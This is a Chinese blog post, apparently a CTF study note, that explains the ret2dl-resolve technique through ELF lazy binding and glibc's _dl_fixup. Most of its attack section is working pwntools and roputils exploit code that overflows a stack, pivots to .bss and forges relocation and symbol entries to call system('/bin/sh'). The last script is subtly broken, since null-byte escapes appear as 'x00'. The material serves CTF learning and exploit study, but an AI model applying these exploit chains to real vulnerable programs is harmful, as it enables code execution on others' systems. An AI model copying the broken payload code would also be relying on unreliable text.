Return-to-dl-resolve总结

0x00 前言

这个利用方式跟重定位和动态链接有关,现在复习跟总结下

0x01 准备知识

延迟绑定

为了减少存储器浪费,现代操作系统支持动态链接特性。即不是在程序编译的时候就把外部的库函数编译进去,而是在运行时再把包含有对应函数的库加载到内存里。由于内存空间有限,选用函数库的组合无限,显然程序不可能在运行之前就知道自己用到的函数会在哪个地址上。比如说对于libc.so来说,我们要求把它加载到地址0x1000处,A程序只引用了libc.so,从理论上来说这个要求不难办到。但是对于用了liba,so, libb.so, libc.so……liby.so, libz.so的B程序来说,0x1000这个地址可能就被liba.so等库占据了。因此,程序在运行时碰到了外部符号,就需要去找到它们真正的内存地址,这个过程被称为重定位。为了安全,现代操作系统的设计要求代码所在的内存必须是不可修改的,那么诸如call read一类的指令即没办法在编译阶段直接指向read函数所在地址,又没办法在运行时修改成read函数所在地址,怎么保证CPU在运行到这行指令时能正确跳到read函数呢?这就需要got表(Global Offset Table,全局偏移表)和plt表(Procedure Linkage Table,过程链接表)进行辅助了。

调用流程

来看一下一个setvbuf函数的调用过程

  • jmp到了setvbug函数对应的got表位置,这个时候got表中存储的是该函数plt表中的下一条指令,相当于没跳转。
  • push了一个0x20,这个代表这个函数的id号,后面要用这个来寻找它的重定位表项
  • jumpplt[0],push了link_map.
  • 最后jump到了dl_resolve 函数.对符号进行解析

调用的流程图如下

相关结构

.dynamic


这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针

.dynstr


一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0x804821C的偏移。)

.dynsym


这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; //对于导入函数符号而言,它是0x12
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

.rel.plt


这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:

1
2
3
4
5
6
7
8
typedef struct
{
Elf32_Addr r_offset; //指向GOT表的指针
Elf32_Word r_info;
//一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个07
//1和3是这个导入函数的符号在.dynsym中的下标,
//如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应
} Elf32_Rel;

_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们只关注一些主要函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

_dl_runtime_resolve会

  1. link_map访问.dynamic,取出.dynstr, .dynsym, .rel.plt的指针
  2. .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作rel
  3. rel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr + sym->st_name得出符号名字符串指针
  5. 在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表
  6. 调用这个函数

实际上好像都是把st_name转成hash值在libc函数里进行查找的,不过我也没仔细看源码,不是很确定

0x02 漏洞利用方式

  1. 控制eip为PLT[0]的地址,只需传递一个index_arg参数
  2. 控制index_arg的大小,使reloc的位置落在可控地址内
  3. 伪造reloc的内容,使sym落在可控地址内
  4. 伪造sym的内容,使name落在可控地址内
  5. 伪造name为任意库函数,如system

此外,这个攻击成功的很必要的条件

  • dl_resolve 函数不会检查对应的符号是否越界,它只会根据我们所给定的数据来执行。
  • dl_resolve 函数最后的解析根本上依赖于所给定的字符串。

    stage1

    我们先写一个ROP链,直到返回到write@plt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    #!/usr/bin/python

    from pwn import *
    elf = ELF('bof')
    offset = 112
    read_plt = elf.plt['read']
    write_plt = elf.plt['write']

    ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
    pop_ebp_ret = 0x0804861b
    leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"

    stack_size = 0x800
    bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
    base_stage = bss_addr + stack_size

    r = process('./bof')

    r.recvuntil('Welcome to XDCTF2015~!\n')
    payload = 'A' * offset
    payload += p32(read_plt) # 读100个字节到base_stage
    payload += p32(ppp_ret)
    payload += p32(0)
    payload += p32(base_stage)
    payload += p32(100)
    payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中
    payload += p32(base_stage)
    payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
    r.sendline(payload)

    cmd = "/bin/sh"

    payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret
    payload2 += p32(write_plt)
    payload2 += 'AAAA'
    payload2 += p32(1)
    payload2 += p32(base_stage + 80)
    payload2 += p32(len(cmd))
    payload2 += 'A' * (80 - len(payload2))
    payload2 += cmd + '\x00'
    payload2 += 'A' * (100 - len(payload2))
    r.sendline(payload2)
    r.interactive()

stage2

这次控制eip返回PLT[0],要带上write的index_offset。这里修改一下payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20 # write's index

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage3

这次控制index_offset,使其指向我们构造的fake_reloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x607 # write: Elf32_Rel->r_info
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage4

这一次构造fake_sym,使其指向我们控制的st_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage5

st_name指向输入的字符串"write"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "write\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

stage6

替换writesystem,并修改system的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
...
cmd = "/bin/sh"
plt_0 = 0x08048380
rel_plt = 0x08048330
index_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x080481d8
dynstr = 0x08048278
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(index_offset)
payload2 += 'AAAA'
payload2 += p32(base_stage + 80)
payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

得到一个shell

0x03 工具攻击

根据上面的介绍,我们应该很容易可以理解这个攻击了。下面我们直接使用 roputil 来进行攻击。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()

rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

再放一段不用工具的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8

from pwn import *

context(os='linux',arch='i386')
#context.log_level = 'debug'

p = process('./pwn')
P = ELF('./pwn')

lr = 0x08048448
bss = 0x0804aa00
pppr_addr = 0x080485d9
pop_ebp = 0x080485db

payload = (0x28+4) * 'a'
payload+= p32(P.plt['read'])
payload+= p32(pppr_addr)
payload+= p32(0)
payload+= p32(bss)
payload+= p32(0x400)
payload+= p32(pop_ebp)
payload+= p32(bss)
payload+= p32(lr)
p.send(payload)

sleep(1)

plt_0 = 0x08048380
r_info = 0x107
rel_plt = 0x0804833c
dynsym = 0x080481dc
dynstr = 0x0804827c

fake_sys_addr = bss + 36
align = 0x10 - ((fake_sys_addr-dynsym)&0xf)
fake_sys_addr = fake_sys_addr + align
index = (fake_sys_addr - dynsym)/0x10
r_info = (index << 8) + 0x7
st_name = (fake_sys_addr + 0x10) - dynstr
fake_sys = p32(st_name) + p32(0) + p32(0) + p32(0x12)

fake_rel = p32(P.got['read']) + p32(r_info)
fake_rel_addr = bss + 28
fake_index = fake_rel_addr - rel_plt

payload = p32(bss)
payload+= p32(plt_0)
payload+= p32(fake_index)
payload+= p32(0xdeadbeef)
payload+= p32(bss+0x80)
payload+= p32(0)
payload+= p32(0)
payload+= fake_rel
payload+= 'a'*align
payload+= fake_sys
payload+= 'system'
payload = payload.ljust(0x80,'x00')
payload+= '/bin/shx00'
p.sendline(payload)

p.interactive()

其它利用方式

在.dynamic节中伪造.dynstr节地址
fake link_map

0x04参考资料

i春秋:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=44816&highlight=linux%2Bpwn%2B%E5%85%A5%E9%97%A8
ctfwiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#_5
一位师傅的博客:http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
看雪:https://bbs.pediy.com/thread-227034.htm

-------------本文结束感谢您的阅读-------------
+ +